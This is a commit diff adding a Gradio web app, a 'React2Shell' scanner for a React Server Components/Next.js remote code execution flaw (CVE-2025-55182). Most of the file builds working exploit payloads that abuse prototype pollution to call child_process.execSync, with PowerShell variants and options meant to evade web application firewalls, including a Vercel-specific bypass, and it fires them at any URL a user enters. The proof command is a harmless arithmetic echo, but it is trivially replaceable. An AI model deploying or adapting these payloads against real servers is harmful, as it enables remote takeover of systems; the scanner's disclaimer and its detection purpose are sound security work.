Create app.py

app.py

@@ -0,0 +1,257 @@
+import gradio as gr
+import requests
+import re
+import random
+import string
+import json
+from urllib.parse import urlparse
+from requests.exceptions import RequestException
+
+# --- Core Scanner Logic (Adapted from Assetnote) ---
+
+def normalize_host(host: str) -> str:
+    """Normalize host to include scheme if missing."""
+    host = host.strip()
+    if not host:
+        return ""
+    if not host.startswith(("http://", "https://")):
+        host = f"https://{host}"
+    return host.rstrip("/")
+
+def generate_junk_data(size_bytes: int) -> tuple[str, str]:
+    """Generate random junk data for WAF bypass."""
+    param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
+    junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
+    return param_name, junk
+
+def build_safe_payload() -> tuple[str, str]:
+    """Build the safe multipart form data payload (side-channel)."""
+    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
+    body = (
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
+        f'Content-Disposition: form-data; name="1"\r\n\r\n'
+        f"{{}}\r\n"
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
+        f'Content-Disposition: form-data; name="0"\r\n\r\n'
+        f'["$1:aa:aa"]\r\n'
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
+    )
+    content_type = f"multipart/form-data; boundary={boundary}"
+    return body, content_type
+
+def build_vercel_waf_bypass_payload() -> tuple[str, str]:
+    """Build the Vercel WAF bypass multipart payload."""
+    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
+    part0 = (
+        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
+        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
+        '"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
+        'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
+        '"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
+    )
+    body = (
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
+        f'Content-Disposition: form-data; name="0"\r\n\r\n'
+        f"{part0}\r\n"
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
+        f'Content-Disposition: form-data; name="1"\r\n\r\n'
+        f'"$@0"\r\n'
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
+        f'Content-Disposition: form-data; name="2"\r\n\r\n'
+        f"[]\r\n"
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
+        f'Content-Disposition: form-data; name="3"\r\n\r\n'
+        f'{{"\\"\u0024\u0024":{{}}}}\r\n'
+        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
+    )
+    content_type = f"multipart/form-data; boundary={boundary}"
+    return body, content_type
+
+def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> tuple[str, str]:
+    """Build the RCE PoC multipart payload."""
+    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
+    if windows:
+        cmd = 'powershell -c \\\"41*271\\\"'
+    else:
+        cmd = 'echo $((41*271))'
+        
+    prefix_payload = (
+        f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
+        f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
+        f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
+    )
+    part0 = (
+        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
+        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
+    )
+    
+    parts = []
+    if waf_bypass:
+        param_name, junk = generate_junk_data(waf_bypass_size_kb * 1024)
+        parts.append(
+            f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
+            f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
+            f"{junk}\r\n"
+        )
+    
+    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{part0}\r\n")
+    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n")
+    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n")
+    parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--")
+    
+    body = "".join(parts)
+    content_type = f"multipart/form-data; boundary={boundary}"
+    return body, content_type
+
+def resolve_redirects(url: str, timeout: int, verify_ssl: bool, max_redirects: int = 10) -> str:
+    current_url = url
+    original_host = urlparse(url).netloc
+    try:
+        for _ in range(max_redirects):
+            response = requests.head(current_url, timeout=timeout, verify=verify_ssl, allow_redirects=False)
+            if response.status_code in (301, 302, 303, 307, 308):
+                location = response.headers.get("Location")
+                if location:
+                    if location.startswith("/"):
+                        parsed = urlparse(current_url)
+                        current_url = f"{parsed.scheme}://{parsed.netloc}{location}"
+                    else:
+                        new_host = urlparse(location).netloc
+                        if new_host == original_host:
+                            current_url = location
+                        else:
+                            break
+            else:
+                break
+    except RequestException:
+        pass
+    return current_url
+
+def send_payload(target_url: str, headers: dict, body: str, timeout: int, verify_ssl: bool):
+    try:
+        body_bytes = body.encode('utf-8') if isinstance(body, str) else body
+        response = requests.post(
+            target_url, headers=headers, data=body_bytes, timeout=timeout, verify=verify_ssl, allow_redirects=False
+        )
+        return response, None
+    except Exception as e:
+        return None, str(e)
+
+def is_vulnerable_safe_check(response: requests.Response) -> bool:
+    if response.status_code != 500 or 'E{"digest"' not in response.text:
+        return False
+    server_header = response.headers.get("Server", "").lower()
+    has_netlify_vary = "Netlify-Vary" in response.headers
+    is_mitigated = (has_netlify_vary or server_header == "netlify" or server_header == "vercel")
+    return not is_mitigated
+
+def is_vulnerable_rce_check(response: requests.Response) -> bool:
+    redirect_header = response.headers.get("X-Action-Redirect", "")
+    return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
+
+# --- Gradio Interface Logic ---
+
+def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom_path):
+    if not url:
+        return "Error: Please enter a URL."
+
+    host = normalize_host(url)
+    timeout = 10
+    verify_ssl = True # In a public space, maybe better to keep SSL verification on
+    
+    # Determine Payload
+    if safe_check:
+        body, content_type = build_safe_payload()
+        check_func = is_vulnerable_safe_check
+        mode_str = "Safe Check (Side-Channel)"
+    elif vercel_bypass:
+        body, content_type = build_vercel_waf_bypass_payload()
+        check_func = is_vulnerable_rce_check
+        mode_str = "Vercel WAF Bypass"
+    else:
+        body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
+        check_func = is_vulnerable_rce_check
+        mode_str = "Standard RCE Check" + (" (Windows)" if windows_mode else "")
+
+    headers = {
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
+        "Next-Action": "x",
+        "X-Nextjs-Request-Id": "b5dce965",
+        "Content-Type": content_type,
+        "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
+    }
+
+    paths = [custom_path] if custom_path else ["/"]
+    logs = []
+    logs.append(f"Target: {host}")
+    logs.append(f"Mode: {mode_str}")
+    
+    vulnerable_found = False
+    
+    for path in paths:
+        if not path.startswith("/"): path = "/" + path
+        target_url = f"{host}{path}"
+        logs.append(f"\nTesting: {target_url}")
+        
+        # Test 1: Direct Path
+        resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
+        
+        if error:
+            logs.append(f"Error connecting: {error}")
+        elif resp:
+            logs.append(f"Status: {resp.status_code}")
+            if check_func(resp):
+                vulnerable_found = True
+                logs.append("RESULT: [VULNERABLE]")
+                if not safe_check:
+                     logs.append(f"Redirect Header: {resp.headers.get('X-Action-Redirect')}")
+                return "\n".join(logs)
+            else:
+                logs.append("Result: Not Vulnerable")
+                
+                # Test 2: Follow Redirect (if 1st failed)
+                redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
+                if redirect_url != target_url:
+                    logs.append(f"\nFollowing redirect to: {redirect_url}")
+                    resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
+                    if resp_red:
+                        logs.append(f"Status: {resp_red.status_code}")
+                        if check_func(resp_red):
+                            vulnerable_found = True
+                            logs.append("RESULT: [VULNERABLE]")
+                            return "\n".join(logs)
+                        else:
+                            logs.append("Result: Not Vulnerable")
+
+    final_status = "[VULNERABLE]" if vulnerable_found else "[NOT VULNERABLE]"
+    logs.append(f"\nFinal Status: {final_status}")
+    return "\n".join(logs)
+
+# --- UI Setup ---
+
+with gr.Blocks(title="React2Shell Scanner") as demo:
+    gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
+    gr.Markdown("Web-based scanner for React Server Components / Next.js RCE. Based on the [Assetnote Scanner](https://github.com/assetnote/react2shell-scanner).")
+    
+    with gr.Row():
+        url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
+        path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
+    
+    with gr.Row():
+        safe_check = gr.Checkbox(label="Safe Check (Side-Channel)", value=True, info="Uses non-destructive payload.")
+        windows_mode = gr.Checkbox(label="Windows Mode", value=False, info="Use PowerShell payload.")
+        waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False, info="Add junk data.")
+        vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False)
+
+    scan_btn = gr.Button("Scan Target", variant="primary")
+    output_box = gr.Textbox(label="Scan Output", lines=10)
+
+    scan_btn.click(
+        fn=scan_target,
+        inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
+        outputs=output_box
+    )
+
+    gr.Markdown("**Disclaimer:** This tool is for educational and authorized security testing purposes only. Do not scan targets you do not own or have permission to test.")
+
+demo.launch()